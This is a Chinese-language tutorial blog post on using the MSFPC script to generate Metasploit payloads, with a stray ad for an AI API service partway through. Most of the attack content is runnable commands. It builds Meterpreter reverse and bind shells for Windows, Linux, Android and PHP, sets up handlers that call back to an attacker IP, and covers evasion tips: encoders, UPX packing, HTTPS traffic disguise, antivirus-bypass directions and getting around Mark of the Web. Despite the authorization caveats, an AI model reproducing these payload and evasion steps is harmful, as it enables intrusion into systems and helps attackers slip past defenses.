遇见高中生前一阵整理本地工具库的时候翻到 msfpc.sh，顺手在新装的 Kali 上跑了一遍，发现仍然有不少人把这个脚本当“黑话”传说中的东西，实际上它的全称是 Metasploit Payload Creator，一句话解释就是：把你原本需要手动拼接的 msfvenom 命令，封装成交互式、带参数、一步出 payload 的自动化脚本。
如果你平时做授权渗透测试、红队演练、CTF 或者只是自己搭靶机练手，大部分精力其实都耗在“想命令、拼参数、改格式、起 handler”这些重复劳动上。MSFPC 正好解决的就是这一件事：让你从“记一堆 msfvenom 参数”里解脱出来，把思路集中在测试环节本身。
这篇文章我就用实际操作为主线，从安装、参数拆解、多平台生成、配合 msfconsole 接收，到后面几个我在真实使用里踩过的坑，一次性讲透。不管你是刚接触 Metasploit 的新手，还是用了很久但一直没认真研究过 msfpc 的老手，相信都能从这里拿到一点能直接落地的内容。
1. 为什么单独写一个脚本做 Payload 生成，手动用 msfvenom 不香吗？
先说个很现实的场景。假设你今天要快速验证一台内网 Windows 主机的反连能力，手动操作大概是这样：
bash复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o /tmp/shell.exe
看起来一条命令搞定，对吧？但当你需要同时生成 Linux ELF、Android APK、PHP 一句话、Python 反弹脚本，并且每种格式还要换不同的 payload、不同架构时，记参数这件事就开始变得非常反人类。
windows/x64/meterpreter/reverse_tcp 和 linux/x86/meterpreter/reverse_tcp 之间就差了几个词，手一抖就容易写错。更麻烦的是，-f 的输出格式、-o 的输出路径、-e 的编码器、-i 的编码次数，每一个参数在不同平台下的最佳组合都不一样。
MSFPC 的设计初衷，就是把这一整套选择逻辑变成两种使用方式：
- 交互模式：运行后一步步问你要目标平台、IP、端口、payload 类型，你只需要回几个数字和字母。
- 命令行模式：一条命令直接指定平台，脚本自动帮你选好架构、格式、编码方式，并在生成后把对应的 handler 监听命令也一并输出给你。
我在项目里最常用的反而是它的命令行模式，因为它可以写进自己的脚本流程里，批量生成需要的东西。
1.1 这个脚本的适用边界，先说清楚避免误用
MSFPC 不是什么高深的东西，它的本质是一个 Bash 封装层，核心调用还是 msfvenom。所以它不能做什么，你需要提前知道：
- 它不能保证免杀。默认生成的 payload 大概率会被各类终端安全软件查杀，它只是一个“能用”的起始产物，不是“能过”的最终产物。
- 它不能替你解决网络环境问题。反连的地址、端口是否能通，防火墙是否放行，这些都取决于你的测试环境，脚本不负责探测。
- 它不支持所有的 payload 类型。脚本内置了几十种常见组合，但 Metasploit 框架里几百个 payload 不可能全部覆盖到，特殊需求还是得回到 msfvenom 手动处理。
所以我的定位是：MSFPC 适合快速生成“标准反连 payload + 标准 handler”的流程化场景，适合当你不想为了某次测试从头敲一遍完整命令时，把它当作效率工具来用。定位清楚了，后面所有操作就不会走偏。
1.2 MSFPC 在 Kali 里的默认情况
Kali Linux 默认其实已经安装了 Metasploit Framework，但 msfpc.sh 不一定在系统 PATH 里，有些版本预装了，有些则没有。所以我下面把安装流程完整走一遍，省的你在 /usr/bin 里翻半天找不到。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 安装与环境准备：两条路径，任选一条都能跑起来
2.1 通过 Git 拉取官方仓库安装
MSFPC 的源码托管在 GitHub 上，作者是 g0tmi1k，一个长期活跃在渗透测试工具链里的安全研究者。安装方式很传统：
bash复制git clone https://github.com/g0tmi1k/msfpc.git
cd msfpc
chmod +x msfpc.sh
然后就可以直接用了：
bash复制./msfpc.sh --help
注意，这个仓库更新频率不算高，但胜在稳定，依赖的只是本机的 Metasploit Framework，只要 msfvenom 能正常工作，脚本就能正常工作，不存在第三方依赖版本互相打架的问题。
2.2 通过系统包管理器安装（不推荐，但图省事的人可以看）
如果你用的是 Kali，理论上直接执行 apt install msfpc 也能装上，但我在实际环境中遇到过一次仓库里版本比较旧的情况，个别参数行为和官方仓库版不一致，比如输出的目录结构有变化。所以我个人建议从 GitHub 拉源码，一是能拿到最新的更新，二是万一要改脚本行为，改起来也方便。
2.3 安装后第一件事：验证核心依赖
MSFPC 本质上就是个 Bash 脚本，它运行时会调用 msfvenom、msfconsole、ip 等命令。如果你的环境是精简安装，可能缺东西，跑一个最简单的命令验证一下：
bash复制msfvenom --list payloads | head -20
能正常列出 payload 列表，就说明核心依赖没问题。接着跑一下 MSFPC 自带的帮助：
bash复制./msfpc.sh --help
看到完整的参数说明，环境就算准备好了。
3. 核心用法拆解：命令行参数、交互模式、输出结果解读
MSFPC 用起来其实就三类方式：无参数进入交互模式、带参数直接生成、带自定义选项微调。下面我一个个拆开讲。
3.1 完整参数速查表
先给一张我整理的参数说明表，后面所有示例都基于这些参数：
| 参数 | 含义 | 示例 |
|---|---|---|
| 第一个位置参数 | 目标平台，如 windows、linux、android、macos、php 等 | ./msfpc.sh windows |
| 第二个位置参数 | 反弹 IP（LHOST），可以是 IP 或域名 | ./msfpc.sh windows 192.168.1.10 |
| 第三个位置参数 | 反弹端口（LPORT），默认 4444 | ./msfpc.sh windows 192.168.1.10 5555 |
-p |
指定 payload 类型，比如 windows/meterpreter/reverse_tcp |
./msfpc.sh windows 192.168.1.10 -p windows/meterpreter/reverse_tcp |
-e |
指定编码器 | ./msfpc.sh windows 192.168.1.10 -e x86/shikata_ga_nai |
-i |
编码次数 | ./msfpc.sh windows 192.168.1.10 -i 5 |
-o |
指定输出目录 | ./msfpc.sh windows 192.168.1.10 -o /tmp/payloads |
-h / --help |
显示帮助 | ./msfpc.sh --help |
有几个细节值得注意：IP 参数的位置是很敏感的，你可以在第二个位置传 IP，也可以完全不传，让脚本进入交互模式问你；但如果你想传 IP，必须按顺序来。
3.2 交互模式：第一次上手最简单的方式
直接在脚本目录执行：
bash复制./msfpc.sh
它会列出支持的目标平台编号，常见的有 1. Windows、2. Linux、3. Android、4. macOS、5. PHP 这些，输入编号回车，接下来会问你要 LHOST、LPORT。全部填完后，脚本自动开始生成。
我的建议是：第一次用的时候先跑一遍交互模式，你会直观看到脚本为你选了什么架构、什么格式、什么编码器，这些信息对理解后面的命令行参数很有帮助。用熟了之后再切换到命令行模式，效率会高很多。
3.3 命令行模式：一条命令直出
拿我现在最常用的场景举例，给内网一台 Windows 10 测试机生成 64 位反弹 Shell：
bash复制./msfpc.sh windows 192.168.1.10 4444
脚本会检测当前系统架构，默认生成 windows/x64/meterpreter/reverse_tcp，输出文件名为 192.168.1.10-4444.exe，它在当前目录下新建一个以 IP 命名的文件夹，把所有类型的 Windows payload 都生成出来，比如：
192.168.1.10-4444.exe192.168.1.10-4444.bat192.168.1.10-4444.ps1192.168.1.10-4444.vbs192.168.1.10-4444.jsp192.168.1.10-4444.war
看到没，它默认就把常见格式全给你来了一遍，不用你一个个手敲。生成完后，终端还会自动输出一条监听命令：
bash复制msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.10; set LPORT 4444; exploit"
这条命令直接复制就能用，非常省事。
3.4 自定义 payload 和编码参数
如果默认的 payload 不是你想要的，可以用 -p 指定。比如我要生成一个 windows/meterpreter/reverse_https 的 payload：
bash复制./msfpc.sh windows 192.168.1.10 4444 -p windows/meterpreter/reverse_https
又比如想加上编码次数做一点简单的流量变形：
bash复制./msfpc.sh windows 192.168.1.10 4444 -e x86/shikata_ga_nai -i 3
这里要强调一下，编码只是为了解决部分场景下的特征问题，不是免杀方案，千万不要以为 -i 5 就能把杀软绕过去，后面我会单独说这个问题。
4. 多平台生成实战：Windows、Android、Linux、PHP 一次跑通
MSFPC 最强的使用场景就是多平台覆盖。一场授权测试里经常要同时准备 Windows、Linux、Android 的 payload，手动敲命令很磨人，用脚本则非常快。
4.1 Windows 平台：默认全格式输出
Windows 是 MSFPC 默认优化最好的平台，上面已经演示过基础命令。这里补充一个常见需求：如果你只想生成一个 exe，而不是默认的一堆文件，可以自己限定输出目录后去里面挑，或者直接用 -o 指定一个专门目录，比如：
bash复制./msfpc.sh windows 192.168.1.10 4444 -o /tmp/win_test
生成完以后，目录结构大概是：
text复制/tmp/win_test/192.168.1.10-4444/192.168.1.10-4444.exe
脚本默认按 IP-端口 命名文件，如果同一天对同一目标不同端口生成多次，文件不会互相覆盖，这个设计在同时测多个端口时非常有用。
4.2 Android 平台：生成 APK，跑通 handler
Android payload 是 MSFPC 的招牌功能之一，因为 msfvenom 生成 APK 时参数比较长，很多人会记混。
bash复制./msfpc.sh android 192.168.1.10 4444
脚本会调用 msfvenom -p android/meterpreter/reverse_tcp 生成一个 APK 文件，并且目录里还会有对应的 handler 命令。生成完 APK 以后，你可以把它传到测试机或模拟器安装。需要注意几个点：
- Android 模拟器的网络架构：如果测试目标在模拟器里，
LHOST就不能填宿主机局域网 IP，要填模拟器能访问到的宿主机 IP，比如 NAT 模式下通常是10.0.2.2对应的宿主机地址，但具体要看你的虚拟网络配置。 - APK 签名问题：默认生成的 APK 用的是调试签名，安装时部分设备会提醒，测试环境下能装就行。
- Android 版本兼容性：新版 Android 对
targetSdkVersion和权限管控比较严格，老版本生成的 APK 在高版本 Android 上可能无法正常获取权限，这一点不是 MSFPC 能解决的。
多嘴一句：Android payload 主要用于你拥有测试设备完整控制权的场景，比如分析自家 App 的安全性、验证 MDM 策略，不要把它用到任何未授权的设备上。
4.3 Linux 与 PHP：内网横向时的常用选择
在内网测试里，Linux 和 PHP 的 payload 出现频率非常高。生成方式同样简单：
bash复制# Linux 平台，默认生成 elf
./msfpc.sh linux 192.168.1.10 4444
# PHP 平台，生成 php 脚本
./msfpc.sh php 192.168.1.10 4444
Linux payload 生成后是一个 ELF 文件，chmod +x 后就能在目标机上执行。PHP payload 会生成一个 .php 文件，适合部署在已拿下的 Web 服务器上配合执行。
4.4 生成结果的解读与 handler 自动输出
每次生成完毕，终端会有一段类似于下面这样的输出：
text复制[+] MSF-Payload Creator
[*] IP: 192.168.1.10
[*] PORT: 4444
[*] TYPE: php
[+] Creating payload: php/meterpreter/reverse_tcp
[+] Payload created: /tmp/xxx/192.168.1.10-4444.php
[*] Use the following command to start a listener:
msfconsole -q -x "use multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 192.168.1.10; set LPORT 4444; exploit"
这意味着 Payload 生成和监听命令输出都完成了，你只需要把生成的 Payload 传到目标机上执行，然后在本地把最后这条 msfconsole 命令跑起来，就能收到反连。
5. 实战进阶：从单调的 Meterpreter 到自定义 Stage 与续航手段
默认生成的 reverse_tcp 在实际测试中经常遇到连接不稳、被安全设备拦截等问题。MSFPC 除了能做最基础的反连 shell，还可以通过参数组合解决这些进阶需求。
5.1 使用 Staged 与 Stageless 的取舍
MSFPC 默认生成的 payload 大多是 staged 模式，也就是先建立一个小体积的连接，再从攻击机下载完整 stage。这种模式的好处是初始连接体积小，不容易因为文件过大而被拦截；坏处是目标机必须能再次回连攻击机下载 stage，而且 stage 存在于内存中，部分安全产品会扫描内存特征。
如果你希望生成一个完整的 stageless payload，可以把 payload 类型直接指定为不带 _staged 标识的那个。举例来说：
bash复制./msfpc.sh windows 192.168.1.10 4444 -p windows/meterpreter_reverse_tcp
windows/meterpreter_reverse_tcp 和 windows/meterpreter/reverse_tcp 的区别就在于前者是 stageless，后者是 staged。你可以根据自己的网络环境做选择：
| 场景 | 推荐模式 | 原因 |
|---|---|---|
| 目标机网络不稳定，只能短时间出网 | stageless | 一次连接直接传完，无需二次回连 |
| 目标机出网带宽有限，担心体积大 | staged | 初始包很小，后续按需传输 |
| 高度隔离网络，内网无法访问外部 | 看具体可达性 | 甚至可以考虑 bind 类型而非 reverse |
5.2 流量加密与混淆思路
默认的 reverse_tcp 流量在网络上非常明显。如果测试环境里有流量审计设备，建议使用 SSL 加密的 payload 配合对应 handler。
bash复制./msfpc.sh windows 192.168.1.10 4444 -p windows/meterpreter/reverse_https
使用 reverse_https 时，handler 会自动用 Metasploit 自带的证书起一个 HTTPS 监听，流量看起来和普通 HTTPS 请求一样，审计设备比较难直接识别。如果你还想进一步混淆，可以把 handler 的 HandlerSSLCert 指向一个自己的证书，甚至用域名而不是 IP 来连接，配合 DNS 解析到实际监听地址。
5.3 使用 Bind Shell 应对目标不出网的情况
还有一种常见情况是目标机只能接受入站连接，无法主动外连。这时 reverse 类型的 payload 全部失效，要考虑 bind 类型。MSFPC 虽然没有专门给 bind 类型做一键参数，但可以通过 -p 指定：
bash复制./msfpc.sh windows 192.168.1.10 4444 -p windows/x64/meterpreter/bind_tcp
这里的 IP 参数变得不重要，真正重要的是端口，目标机会在该端口上开启监听，攻击机主动去连。实际使用时要特别留意目标机防火墙是否放行了这个入站端口，不然 handler 会一直卡在连接中。
5.4 自定义输出文件与后处理
MSFPC 生成完后又想改一下输出文件名？直接 mv 就行，Meterpreter 的 payload 对文件名本身没有强校验。但要注意：你自己的处理逻辑不要破坏原始文件的结构，比如不要用普通文本编辑器打开一个 elf 文件改名字后还改坏了其他字节。
另一个实用的后处理技巧是对生成结果进行打包或体积优化。比如：
bash复制upx --best /tmp/win_test/192.168.1.10-4444/192.168.1.10-4444.exe
UPX 压缩能把 exe 体积缩小一半以上，在部分上传场景里很有用。但是注意，UPX 压缩本身也是安全软件重点监测的行为特征，压缩后文件的静态特征确实会变化，但在内存中运行时表现不一定更好，我在实际测试里更倾向于用加壳工具配合白名单思路来做免杀，而不是单纯 UPX。
6. 踩坑记录：这几个问题我几乎每次都看到有人犯
6.1 无论怎么跑，目标机都不回连——先查防火墙和出网策略
很多人第一次用 MSFPC 生成 payload，跑到目标机上执行，handler 一点反应都没有。这时候 90% 的概率不是 payload 的问题，而是网络路径根本不通。排查顺序建议是：
- 先确认攻击机端口在监听：
ss -lntp | grep 4444，看看端口是否真的起来了。 - 从目标机反向测试连通性：如果目标机上有 nc，执行
nc -vz 192.168.1.10 4444，看看端口是否可达。 - 检查攻击机防火墙：很多 Kali 装了
ufw或者云主机安全组，默认不放开对应端口。本地把相关端口临时放行，或者直接在命令行里关掉防火墙测试一次，确认是防火墙问题之后再精细化配置。 - 确认 LHOST 填写正确：如果攻击机有多块网卡，填了一个目标机访问不到的地址，自然连不回来。
这个问题排在第一位，因为它和 MSFPC 本身没有任何关系，纯粹是环境问题，但每次提问区都会有人拿着这个问题来问。
6.2 32 位与 64 位架构选错，导致执行即崩溃
MSFPC 在 Linux 和 Windows 平台上都会根据本机架构做一个选择，但它判断的是执行脚本的机器，不是目标机器。也就是说，你在 64 位的 Kali 上运行 ./msfpc.sh windows，默认生成的是 64 位 payload。如果目标机是一台 32 位老 Windows，直接执行就会报错，退出码通常是 0xc000007b。
解决办法很简单：如果目标机是 32 位系统，手动指定 32 位 payload：
bash复制./msfpc.sh windows 192.168.1.10 4444 -p windows/meterpreter/reverse_tcp
注意不带 x64 的 windows/meterpreter/reverse_tcp 就是 32 位版本。反过来，目标机如果是 64 位，优先用 windows/x64/meterpreter/reverse_tcp，兼容性和稳定性更好。
6.3 生成的 Payload 动不动被杀软查杀——这不是脚本的锅
我在前文已经反复提过，MSFPC 不负责免杀。默认生成的 Meterpreter payload 之所以容易被查杀，是因为 msfvenom 生成的代码特征已经被人分析得很透了，各大安全产品都有对应的检测规则。
如果你确实有免杀需求，方向通常是：
- 分离加载：把 shellcode 从可执行文件里分离出来，运行时再加载。
- 混淆与编码：自定义加密方式，内存中解密再执行。
- 合法程序白利用：借助系统自带工具或白名单程序来加载恶意载荷。
- 使用与业务相符的流量协议：HTTPS、DNS、ICMP 隧道等。
这些内容展开讲会是一篇很长的文章，这里只提醒一点：安全测试也必须遵守目标系统的授权边界和当地法律法规，所有免杀技术的讨论和使用，都应限于你具备明确授权的范围内。
6.4 在非 Kali 环境里运行 MSFPC，最容易缺什么
如果你不是 Kali，而是自己的 Ubuntu/Debian，最常见的问题就是没有安装 Metasploit Framework。这时候先装框架：
bash复制curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate
# 或者直接用官方安装脚本
装完框架后再跑 MSFPC，基本不会有问题。另一个容易踩的坑是 msfpc.sh 脚本里用了 color 输出，如果你的终端不支持 ANSI 颜色，不会影响功能，只是显示有点乱，不用管。
6.5 输出目录有空格或中文路径，导致解析异常
MSFPC 生成的目录默认以 IP-端口 命名，本身不会出问题。但如果你手动把输出目录指定到一个含空格的中文路径下，部分 Shell 环境可能没有正确引用路径导致异常。建议在 -o 参数里使用不含空格的路径，比如 /tmp/payloads 这种。
7. 把 MSFPC 嵌入到自己的测试流程里，而不是每次敲命令
用熟了以后你会发现，MSFPC 最大的价值不是“替代 msfvenom”，而是把 Payload 生成这件琐事从你的工作流里抽象出来。我现在的习惯是：每个项目开始前，先创建一个配置文件或者一个简单的函数，把常用的 IP、端口、平台封装起来，需要生成时直接一行调用。
比如我常在 ~/.bashrc 里写这样的函数：
bash复制mkpayload() {
/opt/msfpc/msfpc.sh "$1" "$2" "$3" -o /tmp/payloads
}
之后生成 Windows payload 就只需要：
bash复制mkpayload windows 192.168.1.10 4444
生成 Linux payload：
bash复制mkpayload linux 192.168.1.10 4444
这样时间长了，你会有更多精力放在测试本身，而不是背参数。
另外一个思路是把 MSFPC 和自定义的 handler 配置文件配合。MSFPC 输出监听命令后，我一般不会直接复制粘贴跑，而是把这些监听命令写进一个 resource 脚本，需要重启监听时直接：
bash复制msfconsole -r listener.rc
这样 handler 重开会更快，也方便在多个项目之间切换。
8. 一些最后想说的话：工具的定位决定你怎么用它
回头再看 MSFPC 这个脚本，它其实没什么高深的技术含量，就是一个聪明的 Shell 封装。但恰恰是这种“把重复劳动消灭掉”的小工具，才最能在日常工作中提升效率。
我个人的使用体会有几点：
第一，不要把 MSFPC 神话，也不要把 MSFPC 妖魔化。 它就是一个工具，和 msfvenom 本身没有本质区别。你在授权测试里用它，它是你的效率助手；如果用在未授权的环境里，那就是另一回事了。所以整篇文章的所有示例，我都默认你是对自己拥有授权的系统和网络进行操作。
第二，用这个脚本时最好能理解它替你做了什么。 比如为什么 Windows 平台默认用 windows/x64/meterpreter/reverse_tcp？因为 64 位系统已经是主流。为什么 Android 平台没有默认指定架构？因为 Android 的生态碎片化严重，统一用 dalvik 格式最稳妥。当你理解了这些默认值背后的逻辑，才能真正在特殊情况到来时知道怎么改参数，而不是一遇到问题就蒙圈。
第三，工具能给的是效率和起点，剩下的还是得靠你自己补。 Payload 生成出来了，目标机执行了，Meterpreter 会话也拿到了，然后呢？后续的权限提升、横向移动、痕迹清理、报告编写，每一项都比生成 payload 复杂得多。MSFPC 只是把起点往前推了一点，后面的路还是要自己走。
最后分享一个小技巧：用 MSFPC 生成 payload 后，如果目标机是 Linux，我习惯先检查一下文件的执行权限，然后配合 nohup 让它在后台运行，避免终端断开导致会话丢失。Windows 上则注意某些策略会拦截从网络下载的 exe，可以先压缩再解压，绕过 Mark of the Web 的标记。这些都是实际操作中很小但很影响结果的细节，经验多了自然就顺手了。希望这篇文章对你上手 MSFPC 有帮助，也希望你在安全的框架内，把这套工具用得更顺手、更专业。